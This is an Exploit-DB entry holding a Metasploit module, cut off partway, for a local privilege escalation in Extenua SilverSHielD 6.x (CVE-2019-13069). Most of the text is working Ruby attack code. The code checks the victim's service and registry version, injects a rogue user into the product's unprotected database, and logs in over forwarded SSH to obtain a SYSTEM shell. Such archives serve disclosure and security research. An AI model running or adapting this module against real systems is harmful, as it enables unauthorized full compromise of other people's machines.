Exploit-DB #47197
Description: SilverSHielD 6.x - Local Privilege Escalation
Type: local
Platform: multiple
Date: 2019-08-01
Author: Ian Bredemeyer

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

# Exploit Title: extenua SilverSHielD 6.x local priviledge escalation
# Google Dork: na
# Date: 31 Jul 2019
# Exploit Author: Ian Bredemeyer
# Vendor Homepage: https://www.extenua.com
# Software Link: https://www.extenua.com/silvershield
# Version: 6.x
# Tested on: Windows7 x64, Windows7 x86, Windows Server 2012 x64, Windows10 x64, Windows Server 2016 x64
# CVE: CVE-2019-13069

# More Info: https://www.fobz.net/adv/ag47ex/info.html

require 'sqlite3'
require 'net/ssh'
require 'net/ssh/command_stream'
require 'tempfile'
require 'securerandom'
require 'digest'


class MetasploitModule < Msf::Exploit::Local
  Rank = GoodRanking

  include Post::File
  include Msf::Exploit::Remote::SSH
  include Msf::Post::Windows::Services
  include Msf::Post::Windows::FileInfo

  def initialize(info={})
    super( update_info(info,
      'Name'          => 'Extenua SilverSHielD 6.x local privilege escalation',
      'Description'   => %q{
        Extenua SilverShield 6.x fails to secure its ProgramData subfolder.
        This module exploits this by injecting a new user into the database and then
        using that user to login the SSH service and obtain SYSTEM. 
        This results in to FULL SYSTEM COMPROMISE. 
        At time of discolsure, no fix has been issued by vendor.
      },
      'Author'        => [
        'Ian Bredemeyer',
        ],
      'Platform'      => [ 'win','unix' ],  # 'unix' is needed, otherwise the Payload is flagged as incompatible
      'SessionTypes'  => [ 'meterpreter' ],
      'Targets'       => [
        [ 'Universal', {} ],
      ],
      'Payload'     =>
        {
          'Compat'  => {
            'PayloadType'    => 'cmd_interact',
            'ConnectionType' => 'find',
          },
        },
      'DefaultTarget' => 0,
      'References'    => [
        [ 'CVE', '2019-13069' ],
        [ 'URL', 'https://www.fobz.net/adv/ag47ex/info.html' ],
        [ 'URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13069' ]
      ],
      'DisclosureDate'=> "Jul 31 2019",
      'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
    ))

    register_options([
      OptPort.new('PF_PORT', [ true, 'Local port to PortFwd to victim', 20022 ]),
      OptString.new('SS_IP', [ false, 'IP address SilverShield is listening on at the victim. Leave blank to detect.', '' ]),
      OptPort.new('SS_PORT', [ false, 'Port SilverShield is listening on at the victim.  Leave at 0 to detect.', 0 ]),
      OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
      OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 15])
    ])
  end

  

  # Grabbed this bit from another exploit I was pulling apart... Need to trick the SSH session a bit
  module ItsAShell
    def _check_shell(*args)
      true
    end
  end
  
  
  
  # helper methods that normally come from Tcp
  def rhost
    return '127.0.0.1'
  end
  def rport
    datastore['PF_PORT']
  end

  

  # Does a basic check of SilverShield... Does not fail if there is a problem, but will return false
  def do_check_internal()
  
    looks_ok = true    # lets assume everything is OK...
  
    # Try to get the path of the SilverShield service...
    ss_serviceinfo = service_info("SilverShield")
    ss_servicepath = ss_serviceinfo[:path]
    if (ss_servicepath == '')
        print_warning("Vulnerable Silvershield service is likely NOT running on the target system")
        looks_ok = false
    else
        print_good("Silvershield service found: " + ss_servicepath)
    end


    # Try to read the version of Silvershield from the resigstry of the victim...
    ss_version = ""
    begin
      ss_version = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SOFTWARE\\extenua\\SilverShield', KEY_READ).query_value("Version").data
    rescue ::Exception => e
      print_warning "Cannot find SilverShield version in registry.  Victim may not have vulnerable SilverShield installed"
      looks_ok = false
    end
    if ss_version != ""
      print_good("Silvershield version from registry: " + ss_version)
      if ss_version[0..1] != "6."    # If not version "6." something ?  then this will not work...
        print_warning("This version is not likely vulnerable to this module")
        looks_ok = false
      end      
    end  
    return looks_ok
    
  end
  
 
  
  
  # Attempts a single SSH login to the victim via the local port forwarded to fictim.  Returns valid connection if OK
  def do_login()
    factory = Rex::Socket::SSHFactory.new(framework,self, datastore['Proxies'])
    opt_hash = {
      :auth_methods    => ['password'],
      :port            => rport,
      :use_agent       => false,
      :config          => false,
      :proxy           => factory,
      :password        => @@the_password,
      :non_interactive => true,
      :verify_host_key => :never
    }
    opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
    begin
      ssh_socket = nil
      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
        ssh_socket = Net::SSH.start(rhost, 'haxor4', opt_hash)
      end
    rescue Rex::ConnectionError
      return
    rescue Net::SSH::Disconnect, ::EOFError
      print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
      return
    rescue ::Timeout::Error
      print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
      return
    rescue Net::SSH::AuthenticationFailed
      print_error "#{rhost}:#{rport} SSH - Failed authentication"
    rescue Net::SSH::Exception => e
      print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
      return
    end

    if ssh_socket
      # Create a new se